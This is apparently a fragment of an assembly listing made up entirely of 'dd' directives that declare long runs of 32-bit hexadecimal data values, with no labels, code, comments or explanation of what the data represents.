		dd 460C90C9h, 0A9185096h, 7E283F65h, 99FF3A1Fh,	0E4209CB0h
		dd 0E10709EAh, 966131BCh, 5E546AD0h, 5B3D02F6h,	750CFC20h
		dd 1FAE2740h, 0F4097490h, 8FA1DDF3h, 3EE5C323h,	30DF90F6h
		dd 32D39FCh, 9C9278h, 6DB2EDC6h, 0C422587Bh, 0BA88080Ch
		dd 9CD78A0h, 60A9F351h,	3FB30020h, 66005C5Ah, 1CD1C7BBh
		dd 18A99189h, 78A7E321h, 0F85C24C1h, 4D5E0714h,	16F31AB0h
		dd 0F9AAB8D1h, 237B0094h, 0FFB1A058h, 0C70F54F1h, 6037A432h
		dd 13A58B89h, 0DF840092h, 0BA1638C4h, 6F171AB7h, 7A00C05Ah
		dd 0A84598B4h, 0F58A003Fh, 2BBE55EAh, 0B648C6B8h, 147C00C0h
		dd 9BF1272Eh, 0A39A009Ch, 12080EF9h, 78007E85h,	0E7EDD841h
		dd 26B06EC1h, 70FCF5h, 0BC1AD0A5h, 0A800530Fh, 0B7E44A49h
		dd 26595A1Eh, 74C928h, 8A54817Bh, 0EF00E610h, 4A565DB8h
		dd 92B02A1Bh, 316000C8h, 0FAE501ADh, 7B00BDB4h,	42CF1254h
		dd 3DCDA4h, 52F428ABh, 0F6D409B8h, 2D6B721Ch, 0CB603840h
		dd 0F821C5B2h, 63B51271h, 0E90C4233h, 84806170h, 6D1F9779h
		dd 0A92EBD00h, 0A4DD6F32h, 4C79FFh, 2F197EB1h, 1695E624h
		dd 53C05503h, 98A46A70h, 1FC3F56h, 79A031C2h, 609E511Dh
		dd 710021CAh, 13CCEC60h, 0F4C4C0h, 0DD58989Ch, 8D6CB77Dh
		dd 1B01F07Bh, 0AADA4047h, 0B8800594h, 4B599286h, 651F5E52h
		dd 1B409F55h, 0E72911D2h, 3448036Bh, 6F9AA9F2h,	3E23A8E8h
		dd 9D13307Ch, 0A2004077h, 78452BDh, 699E0563h, 0C07A3FF4h
		dd 2BBFC30h, 2E007371h,	0A0E3FFE5h, 52915Fh, 0C221CF0Dh
		dd 44B2427Fh, 62413800h, 32CC07BFh, 607C0053h, 0D6EDD5C0h
		dd 0A100640Dh, 0F119842Fh, 7B465939h, 50B063h, 2B9623B2h
		dd 471C7AC1h, 9D00AFFCh, 0DBE6327Eh, 0D3F6D5h, 0AC69B027h
		dd 0C44EB5C0h, 0AA1BC100h, 8480CD99h, 0E0DC0020h, 465BABECh
		dd 21048127h, 0C893047Ch, 240FB480h, 3AD000B9h,	0CF43465Ch
		dd 0B513EDEAh, 0D800806Ch, 45A75814h, 7FC6001Dh, 504C2A6Dh
		dd 6100B3A4h, 4A5EFF02h, 0FD2B60h, 690F6291h, 0D4326B6Ch
		dd 0ECCB2400h, 31AA1926h, 41BB0020h, 914B695Dh,	2B009E1Bh
		dd 0E595B4C5h, 0F6333h,	4DAC7007h, 0FB24197Fh, 0D724100h
		dd 76B128D6h, 925100E7h, 19833004h, 0ED077C1Bh,	35C2C3FFh
		dd 0C190DCh, 75EBF01h, 30B94E8Ch, 4A82491Dh, 0EE0FD840h
		dd 49535B5h, 6BC4FA1h, 3CC081B4h, 0B0B020D4h, 5A5C5B00h
		dd 0C8CEBA64h, 3E4516D1h, 0AD1C0038h, 0F0AE81A7h, 463CB500h
		dd 0DA11657Fh, 92CE0BFBh, 64208968h, 67991ADEh,	65C0C748h
		dd 34C094EEh, 13EC63Ah,	6B6E13EBh, 0DC293D06h, 0DB00FF8Ch
		dd 0EFBC7040h, 0E980820h, 50A8745Dh, 519CE9C0h,	0B7002B4Ah
		dd 29ED119h, 0F40910h, 69BE7863h, 0E2E1D71Ch, 920DA000h
		dd 232B066Fh, 269900DCh, 0A4B74BB0h, 0F100B181h, 801410BEh
		dd 174F78h, 478DC773h, 0C23057A3h, 29D11A01h, 0AEDDBEE6h
		dd 0FDB9FCCh, 12C66978h, 3FD5D343h, 0A8CB03E8h,	755BB200h
		dd 196C8973h, 61594C42h, 82537906h, 843058F3h, 93CE30D6h
		dd 1F45F425h, 80DF3B12h, 4877A04Ch, 6C077DCFh, 26862EAAh
		dd 38A49A40h, 401F0FAFh, 164064DDh, 0F47C457Eh,	9AAB1A0Fh
		dd 75D6603Fh, 3A25108Bh, 608B6A77h, 9C00D44Ah, 0E79ECFEh
		dd 17014890h, 0CFC5ED64h, 906433D8h, 0B0A626D1h, 209D3F24h
		dd 8F8580EAh, 0CCF89699h, 876E9401h, 238228FDh,	106AD4h
		dd 9FFC22B2h, 8FC0B1F6h, 0D3E8C650h, 74ACD900h,	0AF2CD627h
		dd 0A4434D96h, 110C8806h, 3B004A73h, 0BD9BD6Ah,	90C9334Bh
		dd 4AC23EC0h, 0AB86481h, 208F1789h, 4E088BBCh, 80FA04h
		dd 6BAF1F56h, 0CF76AC05h, 0A26FBE00h, 49DBF006h, 0C94E0055h
		dd 0F888D738h, 350574EBh, 83AF8A8Bh, 0D0502D80h, 6D13000Eh
		dd 0C6DAF2C1h, 807BAEBCh, 40D1E600h, 0F13CCEA7h, 76F098FAh
		dd 0A69F002Ah, 14446494h, 3300C137h, 42491BE8h,	0CCB4D4h
		dd 5A9152DCh, 0DD8C5D77h, 0B52DFA00h, 389A7AA6h, 0C36628C5h
		dd 741C00B8h, 0FB90878Dh, 59F6F9FCh, 32686E00h,	0E1D8DEE5h
		dd 474D2638h, 9551000Dh, 0C5E026DCh, 5B3A3000h,	0E9C8B32Fh
		dd 574302EAh, 0C7F87ABEh, 0A21BB8A1h, 70D429F4h, 7DAD9D00h
		dd 6BF9FA73h, 4045016Ch, 732B702h, 0A5B440CBh, 0E0076AB3h
		dd 0C623434Eh, 491F98DAh, 0F17F7280h, 0E23ADDFDh, 2FEA28DCh
		dd 0F86400A8h, 0C39608A4h, 9F1C6092h, 7680D83Dh, 0DEFE4278h
		dd 0D4030063h, 5FA55359h, 0AE0256B6h, 468FD304h, 0EDAC1A2h
		dd 0FCA8EE4h, 0FE9AAD0Ah, 4794C3E1h, 0F1F4F835h, 18C08554h
		dd 96A23A00h, 0F6A8212h, 747E0089h, 0DEF4D33Dh,	0B00ECEFh
		dd 0D729DB23h, 0B0EA477Ah, 0F10600DCh, 5567528Eh, 63005ED2h
		dd 0E3B88912h, 1DC25E1h, 3C98AE4Eh, 601F8052h, 0AF0246E3h
		dd 53A9EAD8h, 32A4C140h, 0A95E0h, 0FE9D8010h, 5843736Ah
		dd 0F9EA8B00h, 0E91CDA16h, 0AC3F3FD1h, 0ECC228h, 738190C8h
		dd 0E6F0D73Ch, 0E12C4096h, 0C4D2C200h, 1F4144CDh, 4F02F633h
		dd 0F364B931h, 6B90D0E1h, 0DE98D40Fh, 5A639F01h, 0CCEB1CA6h
		dd 0B537EC40h, 27750010h, 2ED639DDh, 0D8009136h, 224AB4Ah
		dd 0F34727Fh, 5940C6BEh, 9DCF4D6Eh, 99A02D60h, 2E1CC70Ah
		dd 0F200D0BFh, 98393BE2h, 8BF600EFh, 51329A77h,	2600597Bh
		dd 0E50EFD48h, 7684D30h, 77D976A4h, 0B0003B96h,	0BAF29109h
		dd 0AD11B200h, 1A2873AAh, 0EBCB001Bh, 1F74BBE3h, 0AC002219h
		dd 0A8964BE9h, 0C032C3h, 499347CBh, 305E9C86h, 9E98CC00h
		dd 8163B0F7h, 8395487Ah, 8A18F600h, 357EC3D2h, 234AF00h
		dd 5AA52924h, 31EC0096h, 4BF7F5Ch, 127D51BBh, 0D8CB7428h
		dd 0E125DE09h, 3B9020C9h, 0EFDC4BFh, 8D548EE6h,	9E51E40h
		dd 0E3012CA2h, 33DBD2E4h, 0C9C84650h, 81B81FBEh, 0AF298016h
		dd 0FA39A906h, 89DDB8C0h, 659AB204h, 40A018D6h,	6729A6A4h
		dd 2500098Ah, 73ADCD7Eh, 232C88h, 495520DEh, 5221F895h
		dd 6F306114h, 567309E0h, 0C1A42579h, 4F3D8C40h,	0C0880E98h
		dd 362F4A11h
		dd 0DC001AB9h, 0D9D6BB46h, 0F6AFD8BDh, 0AD680A13h, 24C4E0E4h
		dd 0A8C50001h, 0A43F3EF0h, 621FA900h, 38DB7417h, 3A955899h
		dd 0CBC52D00h, 63260D6Eh, 290204EEh, 0D599B1D9h, 8DBCE003h
		dd 0B4D12FDh, 514483EFh, 0D1CEB788h, 21D50F00h,	908422E4h
		dd 0CDE3AECh, 582A8580h, 5038E48h, 62B7EE00h, 0EF7C5D73h
		dd 9F5903B1h, 34DC86CCh, 519E3598h, 9A00EBECh, 0D7CAAC46h
		dd 25D6250h, 5E7A1644h,	40C81070h, 38008974h, 30CA63C6h
		dd 4CDB0DDEh, 0B100672Fh, 47D54A52h, 0CE3DDAB7h, 5D28001h
		dd 0AB38DE9Bh, 250EB055h, 0D0806A8Ch, 0FCC407C8h, 9318700h
		dd 25594F82h, 4C8005E9h, 80830610h, 0E31A4A1Ch,	0FEA87700h
		dd 8DF5F897h, 869F2628h, 950E0288h, 38C19963h, 0F56720BFh
		dd 97079C78h, 0A10F7A0h, 807F86D2h, 0D9EFE2E8h,	0E7910069h
		dd 0BBC0647h, 4100E0D2h, 18A95E90h, 7AC12ACCh, 9D11266Eh
		dd 574500B0h, 60A73EC5h, 0E8D19400h, 0A07DA10Fh, 56330030h
		dd 0AC97044Ah, 145067A6h, 0F75C93FCh, 67E023Ch,	0E040875Fh
		dd 3E96D048h, 3794B951h, 0A900E0FEh, 0F9759B71h, 2300AD79h
		dd 6FA5DB8Fh, 0F2A79A05h, 0D01B4876h, 8C17BC58h, 325EC86h
		dd 7255BAF9h, 5E048868h, 335012Eh, 605DDFF0h, 7E45CC82h
		dd 93C8D800h, 74EEC43Ah, 20EF6043h, 568C42A0h, 3D2CBE0Eh
		dd 4B7C0082h, 358AC12h,	49B251ADh, 0B1988947h, 57005A5Fh
		dd 0A8DBC38Ch, 0E59158Eh, 889A17ADh, 51857C40h,	1128A974h
		dd 2300E0BBh, 98A2B1EDh, 130199h, 84830A08h, 0D6E1376Eh
		dd 7FABDC1Dh, 54E70940h, 9FC9CEh, 3CB534A7h, 16159A93h
		dd 8C758E00h, 1FC71B38h, 1E27BE4h, 0F5D73969h, 414AA7D6h
		dd 0D401A083h, 7B006607h, 24B7C985h, 26CD34DAh,	0DCD317h
		dd 5FAAEE52h, 0C10289AFh, 615740B3h, 0DF1EC026h, 63D9076Dh
		dd 639CF7E1h, 0D4A0C036h, 5A24D011h, 0C49A288Ch, 0BD288528h
		dd 0C0D26C80h, 723E0059h, 0AE523F14h, 0E000FBD3h, 7E3B7D40h
		dd 4CB4F3EAh, 7A0088D2h, 0FF484B41h, 6AF617B9h,	8D86EB09h
		dd 9790843Dh, 0DCF96490h, 98530042h, 32F32838h,	0FF003591h
		dd 12F59C44h, 372E81Eh,	1A317963h, 0DEC02BC7h, 6F096D19h
		dd 68B3CB14h, 348688h, 63CAFA88h, 4F5892DDh, 57FB1006h
		dd 9C82527h, 4BC6138h, 0B0E29A00h, 18C0247Fh, 0B9E9E6E3h
		dd 5CBE001Dh, 356EC73Bh, 7B00F05Dh, 19ABEE7Fh, 74F7D0h
		dd 7E1DF259h, 9A4D430Eh, 77FAD00h, 487C217Dh, 3F77D0Bh
		dd 397081B4h, 0B5F0C6C1h, 0A00BA3EEh, 80B9759Ah, 64F35423h
		dd 0C951C18Dh, 0F4F1E4D2h, 5512C33Ch, 23146A5Eh, 6FAA01E0h
		dd 7E59EA61h, 0D3CC2180h, 0A84432D4h, 7BDE6400h, 7EE6A6B9h
		dd 0CB7304EDh, 0D08A6961h, 0AE9EFD74h, 81D0823Fh, 24E926AFh
		dd 0CFE4DBC4h, 1D602666h, 37728BCh, 7964E6Ah, 1F880D32h
		dd 6E30F68Ch, 2B175093h, 74193DE5h, 21392ABEh, 0DA2D3280h
		dd 676C4FD3h, 0AEBFC23Ch, 893A0676h, 8F5D5855h,	0A2C09C80h
		dd 0DA2774A5h, 2BD90038h, 43D78E37h, 35604E82h,	0C44F41AEh
		dd 0DE282674h, 0C23280E8h, 0EAF8D7D9h, 0C472ECEDh, 0F54A5300h
		dd 8792C875h, 0A3C7007Eh, 624E3F5Dh, 9F00A6ECh,	0FFB7902Dh
		dd 4DD4D9h, 0BBC705FDh,	0E83D803Eh, 0F7C1C4Ch, 4E297407h
		dd 0D397A2A8h, 79878A0h, 5BA6EB1Eh, 0B79BC079h,	2101F03Ch
		dd 35DDF93Eh, 7DD82467h, 12708Ah, 8672940Fh, 1FC0F861h
		dd 9BF6AD00h, 0B8CC8B98h, 902B0244h, 8263E2F7h,	0E818A080h
		dd 8F0E471Eh, 0E3914Ah,	6E65FBBDh, 0F5EB3038h, 68865EF6h
		dd 469D0C00h, 0D72963ABh, 3CD8002Fh, 0D249C164h, 7D585031h
		dd 804188A8h, 0D016E7D8h, 8F7F3D44h, 28B8F22Ch,	0F9829D00h
		dd 3C40060Eh, 0A00C5BCh, 1226E63h, 8A1D1907h, 76402A41h
		dd 0BCE0EA18h, 0EB53002Eh, 1E77DFCh, 54006A39h,	0EDECA2D2h
		dd 58766EABh, 1001F15Fh, 215D9DB6h, 837AF8E0h, 7935917h
		dd 0FA2BC000h, 0A05B791h, 84E34CA1h, 67980180h,	0DC0FC69Fh
		dd 80006411h, 0EEE57B3Ch, 1756BB8h, 6DE1C5Eh, 201D8BE8h
		dd 0A806E4F0h, 0BD57AF56h, 52CA00ECh, 93FCD0B1h, 65282DE7h
		dd 0AF008042h, 0F8C76758h, 0F2A61D32h, 8C4B1Eh,	668480D4h
		dd 11C0EBFFh, 0A0496460h, 8226000Ch, 0DFFD0320h, 0B83955A4h
		dd 3D281354h, 79F820D0h, 428502BFh, 2C9F72B4h, 0E4BB80C0h
		dd 1ACF9600h, 0F9A2A460h, 8B30EFEFh, 11F40299h,	9B1D83FFh
		dd 171CC0C0h, 5FB51E00h, 0C93F5E58h, 79EA35h, 0DDEC690Bh
		dd 0D90CA405h, 1EAB4A00h, 70679304h, 17E51F2Ah,	7B3C0B6h
		dd 5A6485CDh, 90043001h, 1581C3F6h, 0D000A469h,	5DA55F17h
		dd 5990B046h, 0AFF1F700h, 0D2BFDA1Dh, 0ED633E2Eh, 0B13BA189h
		dd 0B6F94680h, 8E039F60h, 769AB53Dh, 0CDC8D853h, 974D0092h
		dd 398B083Ch, 0F0C0C7B0h, 30DEFE52h, 0CC6E007Bh, 3B94D8FBh
		dd 1B593551h, 2802347Ch, 0D6787CC0h, 0BCEE07BDh, 65EAA00Ah
		dd 298400CDh, 44B342ADh, 3E175C96h, 41BE640Eh, 3B4F2276h
		dd 0D11070h, 0C393A099h, 1D66BF7Eh, 27E66F07h, 2480CB74h
		dd 0F3C9902h, 0C82ED48Dh, 59396221h, 2428383Bh,	6D0087E8h
		dd 7057C10Eh, 0E7300766h, 0B0E3DADCh, 0CB564C4Ah, 3ABDB700h
		dd 8E51C7Ah, 0F13202C3h, 0B23878FDh, 0D110E0E8h, 80620F3Ch
		dd 7936FF80h, 89B3B5h, 0AA522D8Eh, 0EF0D8DDFh, 8A03F100h
		dd 4C9E72E7h, 0ADED0092h, 0F4A669BBh, 10002EC7h, 1A5A6702h
		dd 373A0CDh, 0CE156A78h, 2EA0DD30h, 0A865C647h,	0CCF0FB72h
		dd 0E09B0FECh, 7A06F036h, 6F1D916Ch, 58870BA0h,	64C38916h
		dd 0FE0EA844h, 0B09100C7h, 4C270822h, 852CC47Bh, 4F017B37h
		dd 5E8FC3EFh, 137D2C28h, 5F454D23h, 765300ACh, 0B1AFD767h
		dd 9675FBEEh, 3062A901h, 0BA1BA71Ch, 97383980h,	35CD6545h
		dd 48CA9307h, 4BC0E491h, 0FC320Fh, 556931EEh, 0D955E63h
		dd 38997D12h, 71C4B0h, 0E8F2D53Eh, 0C7E6E121h, 0C8A5F8EDh
		dd 621846FEh, 0CE910AEEh, 0C6AB043Ah, 90A93C1Ch, 7AA61ED4h
		dd 23F8D500h, 464C6BE2h, 0BBCFC50h, 4B557B6h, 0CE129B00h
		dd 0EA0009D9h, 29163DFh, 0B7ED86h, 5967645Ah, 0D7BD9FF7h
		dd 0D320D800h, 0B279F974h, 0C8C00ECh, 0A46B6DADh, 70B2B95Dh
		dd 0A02D8009h, 7C5052h,	0EBDA3F84h, 627DC4F0h, 75F15839h
		dd 0D2CAA1C0h, 0A0B20D3Ah, 717C5994h, 99400B52h, 88E15737h
		dd 217029C9h, 5D8C009Bh, 0C6FCE475h, 1FA48C0h, 0D2E3CCB4h
		dd 0E19100B9h, 0D169E21Fh, 8283315h, 63BF03A8h,	0C5944144h
		dd 555B2041h, 38700C98h, 0E6896B9h, 16805C6Fh, 771AE5F2h
		dd 0F09C3200h, 0C5686ABBh, 0FECA03FFh, 87FA0450h, 4402984Fh
		dd 58EABA41h, 0C20E368h, 19943009h, 0D00BF8FCh,	0E04CE548h
		dd 48995h, 3CD71902h, 0CC869339h, 2E792002h, 0A03AA7E9h
		dd 5B6FDCA8h, 7775F65Fh, 669E3927h, 0D0CB17h, 5E44D220h
		dd 0AE0AA89Bh, 0B4E3B68Eh, 7B86CB85h, 81D8A84Eh, 5EB80C87h
		dd 266B61E0h, 0D8FC6F68h, 0EE00C0A8h, 0DD206F6Ch, 0A311E3h
		dd 9CAF4B5Eh, 3C67BEC5h, 6E729000h, 9DC2D41Eh, 0E694005Bh
		dd 0AA415736h, 0CA0FBA65h, 0B9F9D0h, 5A2DAECFh,	0D9110346h
		dd 2E6E98F7h, 0BE75101Dh, 8442BFFFh, 0CEFA43Fh,	2AEA68E0h
		dd 298C538h, 6005CB15h,	848BBC9h, 90110A4h, 5866A588h
		dd 0E0F69CFCh, 32C6770h
		dd 0AA548536h, 0CAF013F8h, 2E00C5E0h, 9F467E16h, 491E2593h
		dd 0D5025C07h, 850DE472h, 0C5FDC460h, 0AC27FC02h, 7AB14170h
		dd 1E5F00h, 0F1B428CCh,	6F008A20h, 0D9F8AEF3h, 433540h
		dd 33ACCB05h, 1C78A4F5h, 3800F24Eh, 0C2D7275Eh,	825A0029h
		dd 0E530148Eh, 7E00CF0Eh, 94FB2D5Dh, 6CA3B1h, 0D5192026h
		dd 0A9E1C9C1h, 9318F938h, 0C8373E9h, 0E0ABD298h, 7D091BBEh
		dd 414B86Dh, 0CF76EB2Bh, 6BAC0070h, 0E23C2B2h, 945015DFh
		dd 2E18F40h, 710EFFBDh,	0E0F22F72h, 0F31187D4h,	9CB8050Fh
		dd 802BA382h, 0A6DE2522h, 50B45D00h, 4149937Fh,	0EC14B83Dh
		dd 0FEDF03Ch, 0A4F11CB2h, 0B62C4152h, 50F7EA3Eh, 2D2CA3D4h
		dd 4A733C1Dh, 0F0943300h, 1657801h, 0A10F39Fh, 682B6906h
		dd 3D7D1C00h, 477CBC40h, 1E794DF5h, 3B9B39A8h, 0CE852A5h
		dd 9E123621h, 0C41335Ah, 0BE4C758Ch, 73696FDCh,	767D09A3h
		dd 0D8E4032Ah, 0D8608E28h, 8B983Ch, 2A321936h, 0AAE142h
		dd 3BBEB597h, 0AF685501h, 0ECD3D00h, 354C9DBFh,	3E2F01F1h
		dd 44A1FA36h, 0AE9C6093h, 2765A402h, 0E39B5943h, 0C208B847h
		dd 253B00A6h, 288B30Ah,	11012868h, 0BF7CA7CFh, 22C05554h
		dd 0D66F0174h, 5C1C0F2Bh, 0F3D5F43Bh, 49892104h, 0C89E8Bh
		dd 449724B0h, 518BEC0h,	457DE0BFh, 0A0F40E37h, 5CD15484h
		dd 8BD46483h, 9B73136Ch, 2BC30E4Ah, 0D8209E29h,	0BC2AB834h
		dd 849D2505h, 50805422h, 0C7CDB9h, 0B2D140B5h, 0D828B064h
		dd 2DA5CC16h, 1761A832h, 0FFDA9500h, 0EA346B6Ah, 0C8FE00F6h
		dd 9D6C668Dh, 58B0A30Dh, 3801307Dh, 9807CD58h, 0FCE0AFA6h
		dd 0F3410043h, 30C9A51Eh, 20076438h, 398D49Dh, 90989665h
		dd 616C0F23h, 1021D0B8h, 2177569h, 1630869Ah, 80D49976h
		dd 7B4D74B6h, 772AD05Bh, 0AF12A824h, 8504FFF6h,	0E8C24A4Ch
		dd 0A218C0E9h, 0C1BA2655h, 0D89461DCh, 3CB06643h, 821AC0Ch
		dd 35801D80h, 24B339Ch,	9F3701F4h, 4C4804DEh, 0D900F9D8h
		dd 0C7990F93h, 0AD33EBh, 6011D70Ch, 0CE256854h,	0AEB7160Ch
		dd 590993Bh, 8A61914h, 5FB041D6h, 2085AC29h, 24162EB7h
		dd 70547DA8h, 0C6A400EDh, 301E8126h, 1A0B33Bh, 0C4F47063h
		dd 8F684C37h, 494ED323h, 5D337090h, 0FA9A5A26h,	0B0973C16h
		dd 2890C884h, 900FCDD3h, 42860C65h, 9D10BB3Fh, 0BCD08200h
		dd 0D1B8AC6Dh, 9FE35CF8h, 8D09EC0Eh, 82DEB920h,	0AD061C6Bh
		dd 667FE033h, 0F2990211h, 0A92A8FF7h, 45985040h, 9EA78E00h
		dd 50E86B60h, 3ED7091Ch, 0C8C0F491h, 9D54CF34h,	2F73E4F4h
		dd 24DCB900h, 2D177FEFh, 1F835AB3h, 7D8442B8h, 80E0C268h
		dd 5A542FE5h, 10982288h, 692A1000h, 4BF3FD0Dh, 8F5F006Fh
		dd 52FB4E7h, 9100D4A9h,	2D1FCFBh, 0DDDA62h, 37B12084h
		dd 0C18F72B6h, 2A5C8900h, 9CAE50Ch, 0D4E600D2h,	50A0D90Dh
		dd 5600409Ch, 0BA465D15h, 62724Ah, 8413E52Ch, 0DCD7793Eh
		dd 41F46435h, 917400AAh, 31C3AB50h, 0E60010E4h,	5A375B87h
		dd 7F092A39h, 5E38FC18h, 0C5F4233Eh, 0E655EA80h, 0F458921Eh
		dd 169300A4h, 1F2907AEh, 2077F23Ah, 51D73040h, 0E2F9CFA0h
		dd 98604101h, 53E76ACCh, 0C207DFDh, 6890A0C5h, 0D3E10BF1h
		dd 90C237DCh, 2180945Eh, 0A4EE2433h, 959301A1h,	98D104A2h
		dd 1D01DC72h, 8B1FE602h, 40ADF46Eh, 3DFA83B4h, 0D801BCC5h
		dd 0D5D7E50Fh, 20303EB0h, 9F2E6258h, 19021C50h,	4D565093h
		dd 8768481Bh, 6785384Ah, 8094ED24h, 342F5D63h, 0AE05653Bh
		dd 0C012CB28h, 440EE092h, 443C5858h, 1573B5C0h,	13F84043h
		dd 0B5360B2Ch, 9860671Bh, 246656Ah, 0BA15F133h,	145E2EBCh
		dd 0E6489739h, 0D070BC80h, 0E73B00A2h, 60B02B3Ah, 0F600E886h
		dd 637781ECh, 3D58D31Bh, 981C88A4h, 38C98ED6h, 688BC400h
		dd 4EE69B72h, 0B4124700h, 6EE71D18h, 7F4D0463h,	0C0A9966Ch
		dd 9DE835FCh, 0F205CC92h, 0FA1B1982h, 0C9BD94A1h, 0BB8D1D84h
		dd 0D804A12Fh, 0D6008E4Bh, 42B406B5h, 3F74EF81h, 6CDCC8B6h
		dd 13565500h, 94E90C8Bh, 1D6B533Dh, 1740837Ah, 0DB0DED73h
		dd 0AB510034h, 5007CC7Eh, 2500BA62h, 791B8948h,	5D71FEh
		dd 0F867126Fh, 0DD639EB5h, 0CE00709Ah, 4D498B1h, 0C2917CD9h
		dd 0E9FD5DB9h, 665ED4A2h, 0A95620E0h, 0D42C744Ah, 97C8263Ch
		dd 0DC0880B4h, 66B78EA8h, 7B0F8700h, 19953814h,	847500B2h
		dd 0CC40F1F7h, 2E09444Fh, 0E1644BE0h, 4077F0D4h, 4973A458h
		dd 560F2010h, 3BC06775h, 0F9747B4Ah, 9D830600h,	924B953h
		dd 0E08C4D73h, 0B61E084h, 13001C93h, 0C30D6Dh, 0EC9171DCh
		dd 1900EF14h, 0E90F89CCh, 186364D9h, 3127F2A6h,	2FE8F86Ch
		dd 37B0B304h, 90B48C5Dh, 15010D04h, 0C068E816h,	3001AB9Ah
		dd 0DFC25DC3h, 0D437B2BFh, 90C39025h, 75527FB0h, 1F056CB2h
		dd 0E845B291h, 591A9488h, 0A92C8C74h, 0E52B0B3Ch, 4E038C34h
		dd 0C315D114h, 3D6903D2h, 90BCE593h, 0F01C88F8h, 10F4DB2Dh
		dd 0E20C9D88h, 4BC49AF7h, 28A42DDEh, 545AD3C4h,	3ABF8040h
		dd 7DD628D4h, 3CDA5838h, 53F2BE01h, 0D4B8499Bh,	0A7EE95FCh
		dd 0F95EC012h, 7ED3B890h, 0A1DC93h, 8F8C9ECEh, 6300FEB3h
		dd 1D782338h, 55C01Ah, 0DAEC284Ah, 0A9A784BBh, 0F238D000h
		dd 0A881BDDCh, 510209ACh, 44804F1Fh, 99894683h,	4F6171Dh
		dd 8E32C340h, 30434531h, 0FA1088ACh, 0E93C675Eh, 0CD8200B8h
		dd 2EB686DFh, 0C7550053h, 31D8FB69h, 0ECB6F4D5h, 0B42AC084h
		dd 2C648090h, 0AD14AAAh, 8EC07CE0h, 0A640D42Eh,	1612EFF6h
		dd 0E6908515h, 643101A8h, 5AABED51h, 2B56824h, 2445835h
		dd 8AC3A9CCh, 6C90F298h, 0E81203FCh, 89004AFAh,	0C03C226Eh
		dd 0C5120974h, 6480CE46h, 0A02086CFh, 0D8A7EB00h, 295BDE10h
		dd 5187000Fh, 0C7F9DC74h, 8D3F666Ah, 424F015Eh,	0D432C634h
		dd 0E1079DAh, 9BE0CBF3h, 9CF0E2Ch, 7D231300h, 0F605E20h
		dd 0B2FF008Bh, 0E758EBFh, 1300D4E7h, 80A0FBE9h,	162D95h
		dd 0ADC27CBh, 0EB6B791Eh, 75C76D00h, 9B48C420h,	0AFA40065h
		dd 0D00CA594h, 5C007AC5h, 0CBDA0A46h, 58270Dh, 2C77858Fh
		dd 9A0231D5h, 3FA84905h, 5C803A22h, 2030C346h, 8400D2AFh
		dd 0F92F254Ch, 0A2B493h, 1007316Bh, 80767D1Ah, 0E880894Fh
		dd 9836B9h, 278EF4EDh, 0C422889Dh, 0B0024BEAh, 0BFDC4251h
		dd 11DC5616h, 4C790BDDh, 645C388Ah, 0C5CB00BBh,	384245CEh
		dd 90F8FEEFh, 435548h, 0DD32167h, 9FDF8A0h, 0DFB19E36h
		dd 809830A4h, 0AC3F2770h, 23001892h, 911E6E9Dh,	1BD6C0Eh
		dd 6393882Eh, 402D14E1h, 8A8316CCh, 4E8B6EC0h, 12CA39Ah
		dd 0FECDE3F2h, 0FC0D53ECh, 0DA24D525h, 0E69648D1h, 16438820h
		dd 583E0011h, 0B9BBEB52h, 7248775Bh, 95BE0014h,	249E80AEh
		dd 48945CB3h, 771D5A48h, 81A4C0CBh, 0C239C46Ah,	38F7C3Ah
		dd 74AFF24Eh, 0D4E3805Eh, 22680037h, 0DC49A06Fh, 1D00FDE2h
		dd 6A7324E9h, 2BDC82Ah,	1A7E3F68h, 0F083B0F0h, 0F5E03164h
		dd 4D3D96ADh, 808A39A4h, 7C58F0FAh, 2A6DB6h, 28863DC3h
		dd 0A60623B8h, 518A9600h, 0A1A55EBCh, 0E00E02FFh, 7D944414h
		dd 8D13CCE0h, 7EF84E00h, 565CBD58h, 96FF3095h, 87CA9179h
		dd 7B046340h, 0E40600E7h, 138C69FFh, 6A0075C0h,	64F0E103h
		dd 28317FDh, 73062B28h,	0C3E0FF31h, 427199EDh, 0FE20AF13h
		dd 9EF84CA5h, 0EB160128h
		dd 0C5513759h, 0F0475Fh, 7912F6A0h, 438B6600h, 0B218FD08h
		dd 0A950009Ah, 36DC2B61h, 0F044CD3h, 6005CF17h,	1DB0CA0h
		dd 6967C8F8h, 0DCD8326Ah, 53020428h, 1C6B8D48h,	0E5AB60C7h
		dd 89751324h, 0E6DC8012h, 98125541h, 0D482A1CFh, 7750C0E8h
		dd 5D86006Bh, 53EA2515h, 2129154h, 1001D027h, 0C7CDB55Ch
		dd 3C3BDCh, 0AE99043Ah,	1F2571A8h, 78221800h, 0CEA1878Dh
		dd 9CD50010h, 0F1059F66h, 6F001B7Ah, 2AAA0872h,	9FE9704h
		dd 0DB87B8B9h, 0E160980Eh, 0F65163B4h, 9720820Eh, 2765208Ch
		dd 4C12BC19h, 100D8E4h,	0C104C789h, 291D46FFh, 0AC8F8035h
		dd 23E8B72h, 6957CB66h,	403FF4A4h, 0F00B6720h, 9A708311h
		dd 0E900A276h, 58863591h, 4CBEB8C0h, 884C8B87h,	0A4B29507h
		dd 1520606Dh, 5413E2E3h, 0F000ED3Dh, 6260A5D9h,	3AEC0033h
		dd 3ECCCBA6h, 0BB005E7Dh, 736E17BAh, 1C784703h,	962EEA4Ch
		dd 0F444409Fh, 83500880h, 0D1C86761h, 0A760B799h, 5F77180Fh
		dd 0CD16C8B3h, 629F22h,	558DD003h, 0EA215990h, 94400B4Ah
		dd 3D84FEF7h, 15CD00A4h, 137D52DAh, 0EC052235h,	9F96A0A3h
		dd 86006CADh, 367E797Bh, 0EA6129D8h, 0B43A2DC8h, 0E540006Bh
		dd 0F86E8720h, 0A85F8D07h, 0C021CD1Dh, 65FCDF6Dh, 443003CAh
		dd 0AE2E1480h, 0D0C244AFh, 0A28E0640h, 609BFA27h, 1D7E15BCh
		dd 0CBE3823Fh, 87774E6Eh, 7490C5CCh, 3F30C98Ch,	6680DF77h
		dd 0F9EB386Fh, 0ED03B701h, 44956D1Ch, 2D35B8A7h, 6ABA06F8h
		dd 28C23A20h, 976F1600h, 0EFEE7FCh, 883600B3h, 0DED57858h
		dd 4D00DFE1h, 38D1954Ah, 7D33C73h, 5F727B1Ch, 7DF6708Dh
		dd 85004CB8h, 7620CF2Bh, 0E74950FEh, 0B900AC28h, 96A7A2BCh
		dd 0C9003432h, 8223801Bh, 0BD22B78h, 499ECF83h,	0E404C400h
		dd 800E1D08h, 41659D3Ch, 3B6CF6D0h, 2AA72180h, 0C61E85A5h
